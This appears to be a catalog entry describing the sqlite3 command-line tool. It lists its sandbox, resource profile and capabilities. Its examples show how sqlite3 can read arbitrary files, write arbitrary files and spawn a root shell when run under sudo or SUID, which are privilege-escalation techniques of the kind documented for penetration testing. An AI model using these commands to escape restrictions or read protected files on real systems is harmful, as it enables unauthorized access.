database enabled community medium v1.0.0

sqlite3

SQLite3 database command-line interface; can execute queries, read/write files, and spawn shells.

📋 Live Preview
sqlite3
sqlite3

Sandbox: execFile · Timeout: 30s

Capabilities

system.file.read
system.file.write
security.privilege-escalation.shell

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networknone
Disk I/Olow

Examples

Read arbitrary files (sudo, suid, unprivileged)

sqlite3 <<EOF
CREATE TABLE x(x TEXT);
.import /path/to/input-file x
SELECT * FROM x;
EOF

Write to arbitrary files (sudo, suid, unprivileged)

sqlite3 /dev/null -cmd '.output /path/to/output-file' 'select "DATA";'

Spawn an interactive shell (sudo, suid, unprivileged)

sqlite3 /dev/null '.shell /bin/sh'

Documentation

sqlite3

sqlite3 is a command-line utility. SQLite3 database CLI; can execute arbitrary queries and read files.

References